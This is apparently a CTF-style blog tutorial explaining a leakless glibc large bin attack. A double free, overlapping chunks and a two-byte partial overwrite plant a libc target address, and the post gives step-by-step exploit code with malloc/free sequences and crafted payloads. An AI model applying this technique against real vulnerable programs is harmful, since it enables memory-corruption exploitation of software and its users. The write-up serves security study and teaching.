Introduction

Usually, when you do a large bin attack, you can either do a partial overwrite to target the heap or you need a leak of the memory region you are targeting. As libc is a very interesting target, being able to attack libc without having a libc leak can be a really powerful primitive.

The idea for this technique comes from skuuk’s exploit for 2024/tfc/mcguava (House of Skuuk?), though the implementation I present here is my own, and is easier to understand to me than what skuuk did (it also takes one less malloc/free call :P).

I assume you are already familiar with how the large bin attack works, if not read the how2heap page on it. Though that example uses an Editable Use After Free, here we will just be using a simple (and usually considered weak) Double Free. This technique takes 18 malloc+free calls and needs up to 0x4e0 chunk sizes. We assume we have no leaks. We assume our input is not teminated by a null byte (standard assumption for partial-overwrite exploits).

Explanation

Overview

I will be using the p1, p2 terminology from the how2heap large bin page. The general idea is relatively simple. We will setup some overlapping chunks and then put p1 into the large bin as usual. Afterwards we will put a chunk that overlaps p1 into the unsorted bin. Then we will partially allocate from it, causing it to split. We will do this so that the remainder’s fd and bk pointers overlap p1’s fd_nextsize and bk_nextsize pointers. Then we partial overwrite bk_nextsize to whatever libc target we want, and continue with the large bin attack as usual.

What doesn’t work

Let’s assume we get to this setup: alt We have overlapping chunks. 0x20 + 0x430 + 0x90 = 0x4e0. Now we might come to the idea to do:

# Free everything (0x4e0) as a chunk added to the unsorted bin
free(prev)
# Split the chunk from the unsorted bin, making a chunk
# just below p1, whose fd and bk will overlap p1's
# fd_nextsize and bk_nextsize. Giving us a libc pointer over
# bk_nextsize!!
malloc(0x90 + 0x10 - 0x8)

However, what actually happens on the malloc call is that in the unsorted bin pass 0x4e0 gets added to some large bin; then the 0x90+0x10 bytes gets split from p1, since it is the smallest free chunk. This is bad.

The split which will write a libc pointer to p1->bk_nextsize has to happen after p1 is already in its large bin. Thus, we have to make sure that the allocation which performs that split does not accidentally take from p1. We can choose between two options:

  1. The split must hit the last_remainder small chunk path (source)
  2. The chunk we are splitting must be smaller than p1

The second option seems easier to me. To accomplish that, we can choose between decreasing prev’s size or increasing p1’s size. To modify prev’s size we would need another chunk before it, so let’s go for the second option again.

The plan

First we will allocate like this: alt Then we will cause p1 and prev to consolidate:

free(prev)
free(p1)

and reallocate them, ovewriting p1’s size:

malloci(prev_size + early_p1_size, flat(
        b'A' * (prev_size - 8),
        p1_size | 1,
    ))
# Note: "malloci" takes in internal chunk sizes
# it subtracts 0x8 before passing them to the program. 

And we will get a setup like this: alt Importantly, the chunk pointed to by prev is smaller than the one pointed to by p1. And of course, for the large bin attack to work p1 is now larger than p2.

From here, we will put p1 into the large bin. Then (*having prepared a bit) we will free the chunk pointed to by prev putting it into the unsorted bin. Then we will allocate some memory so that that chunk is split (it will temporarily be put into a large bin during malloc due to not being exact fit in the unsorted pass). The remainder will be put into the unsorted bin, and its libc fd and bk pointers will overlap p1’s fd_nextsize and bk_nextsize allowing us to do a partial overwrite and continue with regular large bin attack (putting p2 into the same large bin as p1).

*We will encounter one issue in this. When we put p1 into the large bin, the barrier’s chunk size becomes 0x20 indicating PREV_INUSE is unset. Then, when we free the chunk pointed to by prev, it will try to consolidate forward. In this it will check if next is free (source), and barrier will answer “yes” while also having the wrong previous chunk size, failing us with an assertion (source). To fix this, we will simply reallocate p1 once and set 0xa1 to 0xc1 so that the chunk after next is p2 which will say that the previous chunk is in use and prevent forward consolidation (and no previous chunk size check will be made :D ).

Execution

We will use this so we can write calculations using internal chunk sizes.

def malloci(size, data=b'idc'):
    return malloc(size-0x8, data)

Prepare the initial layout, already described.

# = For large bin attack
# p1_size needs to be large enough such that early_p1_size doesn't go into tcache
p1_size = 0x4d0
# p2_size needs to be smaller than p1_size but in the same large bin
p2_size = 0x4c0
# this chunk will be used to move p1 and p2 from unsorted to their large bin
sorter_size = p1_size + 0x10

# = For the overlap creating a libc address in p1->bk_nextsize
prev_size = 0x90   # needs to be larger than fastbin size
next_size = 0xa0   # needs to be larger than prev_size
early_p1_size = p1_size - next_size

# Fill the tcache so we can play around with prev
tcache = []
for i in range(7):
    tcache.append(malloci(prev_size, b'tcache'))

prev = malloci(prev_size, b'prev')
p1 = malloci(early_p1_size, b'p1')
next = malloci(next_size, b'next')
malloci(0x20, b'barrier')
p2 = malloci(p2_size, b'p2')
malloci(0x20, b'barrier')

for t in tcache:
    free(t)

alt Next we will consolidate prev and p1 and overwrite p1’s size.

# Setup overlapping chunks
free(prev)
free(p1)
malloci(prev_size + early_p1_size, flat(
        b'A' * (prev_size - 8),
        p1_size | 1,
    ))

alt

alt Now when we free(p1) it will also include the next chunk’s memory. p1_size = p1_early_size + next_size.

We will now free p1 and instantly reallocate it, to overwrite the size field of the next chunk so that when we split the chunk pointed to by prev it doesn’t try to forward consolidate.

# Overwrite the "next" chunk's size so when we split
# prev, it doesn't try to consolidate forward
free(p1) # VULN: Double Free
malloci(p1_size, flat(
        b'B' * (early_p1_size - 0x10),
        (prev_size + early_p1_size),
        (next_size + 0x20) | 1 # 0x20 = barrier
    ))

alt Now we can put p1 into the large bin.

# Put p1 into the large bin
free(p1)
malloci(sorter_size, b'sorter')

alt

alt Now we free the chunk pointed to by prev, and reallocate the exact amount of memory so that when it gets split, the remainder’s fd and bk overlap p1’s fd_nextsize, bk_nextsize.

# Add the overlapping chunk to unsorted bin and split it
free(prev)
malloci(prev_size + 0x10, b'split!')

alt Now we will allocate that remainder chunk and do a partial overwrite on p1’s bk_nextsize allowing us to specify any (almost?) place in libc. As with any partial overwrite exploit, you’re pretty cooked if there is a mandatory new line at the end of input, or if it is null-terminated. Here we choose to target mp_->tcache_bins in honor of skuuk. The - 0x20 there is standard to large bin attack.

# Allocate the split remainder and do a partial overwrite to &mp_->tcache_bins
malloci(early_p1_size - 0x10, flat(
        b'C' * 8,
        b'\xA8\x13' # last two bytes of (&mp_->tcache_bins - 0x20)
    ))

alt

alt Finally, we trigger the large bin attack by putting p2 into the large bin.

# Put p2 into large bin, causing the large bin attack!
free(p2)
malloci(sorter_size, b'sorter2')

alt

alt Yay! Our libc target has been overwritten with the address of p2! Without any leaks!!

Full source here, if you have any questions/comments feel free to reach out :3.